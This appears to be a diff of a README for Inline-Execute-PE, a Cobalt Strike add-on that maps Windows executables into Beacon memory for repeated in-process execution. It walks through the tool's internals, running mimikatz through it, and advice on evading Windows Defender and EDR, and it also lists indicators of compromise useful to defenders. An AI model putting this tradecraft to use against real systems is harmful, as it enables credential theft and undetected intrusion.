     11 +These executables are mapped into Beacon memory so that they can be ran repeatedly without needing to send them over the network, allocate new memory, and create a new conhost.exe process each time.
     12 + 
     13 +Executables loaded into Beacons are accessible and able to be ran by all CobaltStrike Clients connected to the CobaltStrike Team Server.
     14 + 
     15 +Inline-Execute-PE was designed around x64 Beacons and x64 Windows C or C++ executables compiled using mingw or visual studio. This project does not support x86 executables or x64 executables written in a different language or compiled using a different compiler.
     16 + 
     17 +## Setup
     18 +Clone the repository and optionally run make in order to recompile the BOF's.
     19 + 
     20 +Load Inline-Execute-PE.cna into the CobaltStrike client. Ensure the directory that CobaltStrike is running from is writable by your user; Inline-Execute-PE creates a text file there (petable.txt) in order to ensure availability of the data required by Inline-Execute-PE to function.
     21 + 
     22 +## Commands
     23 +Inline-Execute-PE comprises of 3 target-facing commands which run BOF's, and 3 internal commands that manipulate the project data-structure:
     24 + 
     25 +Target-facing:
     26 +1. peload
     27 +2. perun
     28 +3. peunload
     29 + 
     30 +Internal data-structure:
     31 +1. petable
     32 +2. peconfig
     33 +3. pebroadcast
     34 + 
     35 +### peload
     36 +peload is the beginning of Inline-Execute-PE. This command is used to load a PE into Beacon memory. It peforms the following major actions:
     37 + 
     38 +1. Sends the specified PE over the network to Beacon
     39 +2. Creates a structure in Beacon memory to hold various pointers and handles required by Inline-Execute-PE throughout it's lifecycle
     40 +3. Allocates memory in Beacon and writes PE to it with RW protection
     41 +4. XOR encrypts PE in memory using a user-specified key
     42 +5. Allocates another chunk of memory and copies the XOR encrypted PE to it. This is necessary in order to be able to "revert" the PE for subsequent executions
     43 +6. Spawns a conhost.exe child process under Beacon in order to initialize stdin/stdout/stderr
     44 +7. Redirects stdout and stderr to an anonymous pipe so that PE output may be captured
     45 + 
     46 +### perun
     47 +perun is the second step in Inline-Execute-PE. It performs the following major actions:
     48 + 
     49 +1. Sends command line arguments over the network to Beacon
     50 +2. XOR decrypts PE in memory
     51 +3. Fixes the PE's Import Address Table, hooking certain API's related to command line arguments and exiting processes
     52 +4. Changes PE memory protection to RWX
     53 +5. Run's PE in it's own thread
     54 +6. Captures output from PE and returns it to CobaltStrike
     55 +7. Reverts PE memory protection to RW
     56 +8. Overwrites the PE in memory with the XOR'd copy that was made during peload
     57 + 
     58 +### peunload
     59 +peunload is called to remove the PE from Beacon memory when an Operator is done with it or wishes to load a different PE. It performs the following major actions:
     60 + 
     61 +1. Closes handles and file pointers created during peload
     62 +2. Terminates the conhost.exe process created during peload
     63 +3. Zeroes out and then frees both copies of the PE in memory
     64 +4. Tries to unload any DLL's loaded by the PE into the Beacon process (optional)
     65 + 
     66 +### petable
     67 +petable is used to display information regarding all PE's currently loaded into Beacons.
     68 + 
     69 +Each CobaltStrike Client has their own petable; Inline-Execute-PE goes to great lengths to ensure the synchronicity of its data between all connected CobaltStrike clients so that PE's may be used by all Operators. For more on this, see "Design Considerations and Commentary".
     70 + 
     71 +![image](https://user-images.githubusercontent.com/91164728/213904121-a34d41ac-2c9f-43fb-8e37-f5695e9a9363.png)
     72 + 
     73 +### peconfig
     74 +peconfig is used to configure options pertaining to how Inline-Execute-PE functions. The two current options that may be altered are:
     75 + 
     76 +1. Timeout. This dictates how long perun will wait for the PE to complete execution before terminating it. This exists as a safeguard in the event that incorrect arguments are given to a PE that cause it to never return/finish execution. This setting is 60 seconds by default but may be modified to accomodate longer-running PE's.
     77 +2. UnloadLibraries. This option controls whether peunload will try to free DLL's from the Beacon process that were loaded by the PE. This is set to TRUE by default. Some PE's cause issues when DLL's are unloaded from the Beacon process and can cause Beacon to crash, in which case it is better to leave all DLL's loaded by the PE in the Beacon process. This has been observed when using powershell.exe (perhaps due to it loading the .Net CLR into the Beacon process).
     78 + 
     79 +### pebroadcast
     80 +pebroadcast can be used to manually broadcast the contents of a Client's petable to all other connected CobaltStrike Clients.
     81 + 
     82 +Every other CobaltStrike Client will update their petable with the data broadcasted. This shouldn't ever really be necessary, but the feature exists just in case.
     83 + 
     84 +## Usage
     85 +Use peload to load a PE into Beacon memory
     86 +![image](https://user-images.githubusercontent.com/91164728/213904908-89d1be5b-6ed3-4fee-a572-afd46c44098e.png)
     87 + 
     88 +Call perun, passing any arguments to the loaded PE
     89 +![image](https://user-images.githubusercontent.com/91164728/213904931-77523b46-7f29-417f-8392-61f80e7d0a4a.png)
     90 + 
     91 +Double quotes in arguments must be escaped using backslashes
     92 +![image](https://user-images.githubusercontent.com/91164728/213905000-51090151-6d5e-460b-b038-7c05fc9e3f72.png)
     93 + 
     94 +If you have identified that a PE causes issues when trying to free DLL's during unload, use peconfig to set unloadlibraries to false
     95 +![image](https://user-images.githubusercontent.com/91164728/213905058-3a6f1106-60ec-48e8-811e-1c7ba20e463a.png)
     96 + 
     97 +Once you are done using a PE, call peunload to clean it up from Beacon
     98 +![image](https://user-images.githubusercontent.com/91164728/213905088-cae34b54-2635-44fd-919d-20115db8c29b.png)
     99 + 
     100 +A different PE now may be loaded into the Beacon
     101 +![image](https://user-images.githubusercontent.com/91164728/213905113-4ac43712-78c7-4cd4-85b2-abf554552e07.png)
     102 + 
     103 +### perun timeout
     104 +You must be careful about the command line arguments you pass to the PE; some PE's will crash outright if given wrong arguments, while others will run endlessly causing Beacon to never call back even though the process is still running.
     105 + 
     106 +This can be seen with mimikatz.exe when 'exit' isn't specified at the end of the list of arguments
     107 +![image](https://user-images.githubusercontent.com/91164728/213905249-b8145be1-7ddd-4576-91e3-294e60e26a80.png)
     108 + 
     109 +...
     110 + 
     111 +![image](https://user-images.githubusercontent.com/91164728/213905258-2d081796-aace-4faf-82c0-1ee68601a281.png)
     112 + 
     113 +Inline-Execute-PE will terminate the running PE's thread after the specified timeout value has been reached. This enables Beacon to be able to resume normal communications (Beacon does not call back until the perun BOF has completed execution). While normal CobaltStrike commands and other BOF's may still be used in this Beacon, Inline-Execute-PE is now disabled; when a running PE is terminated in this manner it seems to break stdout and stderr in the Beacon process, and PE's loaded subsequently do not function properly.
     114 + 
     115 +The PE may (and should) still be unloaded from Beacon memory, however looking at petable will show that this Beacon may no longer have additional PE's loaded into it. ![image](https://user-images.githubusercontent.com/91164728/213905389-038cdd36-facf-417e-a4aa-d36d289adce5.png)
     116 + 
     117 +It is imperative that you test the PE's you wish to run using Inline-Execute-PE, and that you exercise care when giving command line arguments to perun. Some PE's are more forgiving than others.
     118 + 
     119 +## Tips, Tricks, and Observations
     120 +The below are in no particular order some observations made during testing and development regarding certain PE's that users might want to load into Beacon.
     121 + 
     122 +1. Using peunload on Powershell.exe will usually crash Beacon when UnloadLibraries is TRUE; I believe this has to do with Powershell.exe loading the CLR.
     123 +2. Cmd.exe will crash Beacon unless '/c' is used as the first argument. E.g. 'perun /c cd' is ok, 'perun cd' is not.
     124 +3. Mimikatz.exe will crash Beacon if it was loaded, used, unloaded, and then loaded again IF UnloadLibraries was TRUE during the first peunload.
     125 +4. Some PE's are programmed to print their help menu's when the PE exits; these won't be displayed because calls to ExitProcess and exit() and the like are hooked and redirected to ExitThread so that the PE doesn't cause our Beacon process to exit.
     126 +5. Some PE's aren't very good about freeing memory when they are done with it and rely on that memory being freed when the process exits; because the PE is running inside the Beacon process (and thus the process doesn't exit when PE is done), Beacon can tend to bloat as more PE's are loaded and ran inside of it. Observe this during testing using something like Process Explorer and be mindful of it during operations.
     127 +6. Sysinternal's Psexec doesn't seem to work; while it does run, it complains about the handle to the remote machine being invalid. In practice if one were to want to use something like psexec, it would probably be better achieved using CobaltStrike's socks proxy and an attack-box version of psexec anyways.
     128 + 
     129 +## IOC's and AV/EDR
     130 +IOC's associated with Inline-Execute-PE include but are not limited to:
     131 + 
     132 +1. Allocating memory using VirtualAlloc
     133 +2. Changing memory protections on allocated memory between RW and RWX
     134 +3. Creating a child conhost.exe process
     135 +4. Loading DLL's required by the mapped PE
     136 +5. Any actions performed by the actual PE; for instance, mimikatz touching LSASS
     137 + 
     138 +### AV/EDR
     139 +I did not give this a full-battery test against an EDR during development, partly due to laziness and partly due to lack of availability of a test environment. It was however tested against latest patch Windows Defender (which is in my experience a pretty good AV product).
     140 + 
     141 +Mimikatz.exe is probably the most suspicious and well-known PE that comes to mind as a candidate for use with Inline-Execute-PE. I found that Windows Defender ability to detect mimikatz running using Inline-Execute-PE was contingent on the process that Beacon was running in.
     142 + 
     143 +A beacon running in a standalone executable (think beacon.exe with artifact kit so that it is able to execute and run normally past Defender) will be caught when using mimikatz.exe with Inline-Execute-PE.
     144 + 
     145 +A beacon running in a Windows process (injected into Explorer.exe, notepad.exe, etc or DLL sideloaded into a legitimate process) will NOT be caught when using mimikatz.exe with Inline-Execute-PE.
     146 + 
     147 +In regards to EDR's that perform userland hooking, as I said I haven't tested but I have the following general thoughts:
     148 + 
     149 +Being that the PE is running inside of the Beacon process, which you have presumably already unhoooked/refreshed NTDLL inside of, I would think you shouldn't have too many problems with the API calls made by the PE being flagged. The same issues regarding what the PE actually does (touches processes, alters reg keys, etc) still apply.
     150 + 
     151 +## Design Considerations and Commentary
     152 +A couple months ago I came across [RunPE-In-Memory](https://github.com/aaaddress1/RunPE-In-Memory) and had the thought to try my hand at converting it into a BOF for CobaltStrike. The journey that followed was much more complex and took a lot longer than anticipated. This project was particularly challenging because it isn't a standalone tool in it's own right, it is a tool used to run other tools. This requires a great deal of flexibility and effort towards compatibility with a wide range of PE's and all of the different ways those PE's might accomplish the same task (get arguments, terminate, etc).
     153 + 
     154 +At the outset, Inline-Execute-PE was envisioned as an all-in-one BOF, responsible for loading, executing, and freeing a PE in a Beacon. About 3 weeks into the project, by which time I had a POC ~75% completed, I found [Pezor](https://github.com/phra/PEzor) which was released ~1.5 years ago and already did almost everything I was trying to do; the major difference being that Pezor called Donut under the hood to turn the PE into shellcode, rather than manually mapping the original PE into memory.
     155 + 
     156 +This discovery was welcome in one regard and disappointing in another; it was phenomenal to have a mature project from which to draw inspiration and help me over some sticking points in my code, but disheartening in that I had effectively been reinventing the wheel without knowing it. After reading up on Pezor and thinking about its design, some tradecraft related matters, and the operational needs of my organization I altered the course of Inline-Execute-PE to what you see today. This decision was driven by several factors which will be discussed below, as will some of the more curious design choices made that may have raised some eyebrows for those who have read this far.
     157 + 
     158 +### Inline-Execute-PE vs Pezor
     159 +The key distinguishing difference between my project and Pezor is that should one want to run a PE multiple times in Beacon, Pezor requires that the PE be transmitted to Beacon, memory allocated and written to, and a conhost.exe spawned each and every time. In examining my operational experience I came up with multiple instances and tools where I needed to run the tool repeatedly; with Pezor, an Operator is repeatedly creating a conhost.exe, allocating new memory in Beacon, etc. which struck me as potentially undesirable when considering AV/EDR. This line of thinking led to the idea to 'load' a PE into Beacon, similarly to how you can load a .PS1 into Beacon for repeated use. The conhost.exe is created when the PE is first loaded and persists while the PE is loaded in memory; similarly, new memory is allocated for the PE once when it is first loaded, and of course you avoid needing to send the PE over the network each time you want to use it. The model that Inline-Execute-PE adopted isn't without it's faults, which I tried to address with varying degress of success.
     160 + 
     161 +### Two Copies of PE
     162 +A design choice that should jump out at people is the fact that Inline-Execute-PE maps the PE TWICE in Beacon. This certainly isn't desirable or a choice I made willingly, but was born of necessity. As previously mentioned, Inline-Execute-PE must hook several functions relating to command line arguments in the PE. Because the mapped PE runs inside of the Beacon process, the PE will attempt to use the command line arguments specified in the PROCESS_PARAMETERS section of the PEB; to get around this, when the PE calls one of the various functions that retrieves the command line arguments we must direct the PE to our own custom defined functions where we can provide the intended arguments as passed from CobaltStrike using perun.
     163 + 
     164 +This works well, but during development I noticed something strange with several different PE's. The first time the PE was ran the custom defined function that we provided to the PE's IAT was called properly, however in all subsequent times that the PE was ran and provided different arguments, the PE did not call the custom defined function and as such did not receive the arguments passed from CobaltStrike. I'm not sure what is actually happening under the hood, but I'm led to believe that after the PE has ran once it copies the command line arguments somewhere in memory, and on subsequent runs looks to that location in memory first before calling the hooked functions to retrieve the command line arguments as it did the first time. I corroborated this theory by retrieving the location in memory where a pointer to another pointer to the array of pointers containing the arguments resided, and manually modifying this location in memory to contain the proper pointer on each run. This worked for the __getmainargs and __wgetmainargs functions, but other PE's call alternative functions like __p___argv and __p___argc which this method did not work for.
     165 + 
     166 +In order to be able to "reset" the PE to a state where it would actually call the hooked functions in order to fetch arguments, I resorted to making a second copy of the PE in memory during peload. This copy is also XOR encrypted and sits with RX protections during the entirety of the lifecycle of Inline-Execute-PE, simply being used to overwrite the copy of the PE that is actually executed using perun. As mentioned, it's not a perfect solution, but it is a blanket solution that covers all PE's without needing to get lost in the weeds trying to come up with a solution for all of the different PE's out there and the different API's they use.
     167 + 
     168 +### Conhost.exe
     169 +With one of the major selling points of Inline-Execute-PE being that you can run tools without creating new processes, it is a big punch to the gut that I have to... create a new process (conhost.exe) in order to do so. This requirement comes from the fact that the standard streams (stdin/stdout/stderr) are not initialized in Windows programs unless a console is present. In our case we don't need the console at all; the standard streams are redirected to an anonymous pipe and caputured that way, but without the conhost the streams are not initialized and cannot be redirected.
     170 + 
     171 +Inline-Execute-PE approaches the conhost problem in the same fashion that Pezor does, it calls AllocConsole and then immediately after hides it from view using ShowWindow. On a Windows 11 VM with 8 GB of RAM I don't ever see the console window flash and then disappear, but mileage will vary on that one depending on the target system.
     172 + 
     173 +I spoke with a developer that works on a very advanced Commercial C2 that recently came out with a native equivalent (ok, much more advanced version) of Inline-Execute-PE who told me that they were able to avoid spawning a conhost.exe by "fooling Windows into thinking it had a console". With this tidbit I spent about a week scouring the internet for documentation on how Windows programs interact with conhost, trying to examine the api calls associated with write functions and the console, and even examining the [Windows Terminal](https://github.com/microsoft/terminal) source code which is surprisingly enough available on Github. While I learned a lot about the PEB and standard stream-related things, I came out the other side of this empty handed. I suspect the path forward might involve patching certain console-related functions in kernel32 but honestly don't know. This is something I'm honestly pretty disappoined that I wasn't able to figure out, but being self-taught and only a few years into my career it is probably to be expected.
     174 + 
     175 +### PE Timeout and Rescue
     176 +All those who have ever tried to write a BOF are aware that for all of the advantages that come with them, a huge danger lies in the fact that an error or crash in your BOF can and will kill your Beacon. The danger is amplified in this project by the nature of how much control users have on data passed to Inline-Execute-PE and how few safety measures can easily or reliably be put in place by me, the developer. Users could for example crash their Beacon by loading an x86 PE into an x64 Beacon, or far more commonly by passing improper arguments to the mapped PE as I touched on earlier. While I can't stop users from crashing their Beacons with bad arguments to their PE's, I can try and rescue their Beacon in the case of an endlessly running PE, as in the case of Mimikatz when 'exit' isn't specified.
     177 + 
     178 +Ideally I would be able to stop execution of the PE, allowing Beacon to resume normal function, and then immediately let the user try again with the (hopefully) correct arguments this time. In practice I found that terminating the PE seems to break the FILE*'s associated with stdout/stderr, and even unloading the PE entirely and then loading it again fresh doesn't resolve this; they are broken process-wide.
     179 + 
     180 +To terminate a PE that continues to run past the 'timeout' option, TerminateThread is called on the handle returned from CreateThread. This doesn't allow the thread to gracefully exit anything, so it makes sense that some things might break. I tried to mitigate this by implementing [thread hijacking](https://www.ired.team/offensive-security/code-injection-process-injection/injecting-to-remote-process-via-thread-hijacking), with the goal being to suspend the PE thread and redirect it's execution to the ExitThread() API. The hope here was that if it were the thread that started exit procedures (as opposed to being forcefully terminated externally), it might result in stdout/stderr continuing to function but I ended up having the same issue (as well as experiencing an inability to suspend the PE thread in the case of Mimikatz).
     181 + 
     182 +Unable to mitigate this problem, I landed on simply preventing users from being able to continue to run the PE or load additional PE's into the affected Beacon (which WOULD result in a crash). This is another instance of Inline-Execute-PE falling short of where I would like it to be, but I settled for the fact that the Operator would at least still have their Beacon and be able to use it for normal functionality.
     183 + 
     184 +## Credits
     185 +This project would not have been possible without the following projects and resources which were referenced heavily and from which core parts of this project originated. Big thanks to the author's for their code and their vision.
     186 + 
     187 +1. [RunPE-In-Memory](https://github.com/aaaddress1/RunPE-In-Memory)
     188 +2. [Pezor](https://github.com/phra/PEzor)
     189 +3. Lots of StackOverflow
     190 + 
Please wait...
Page is in error, reload to recover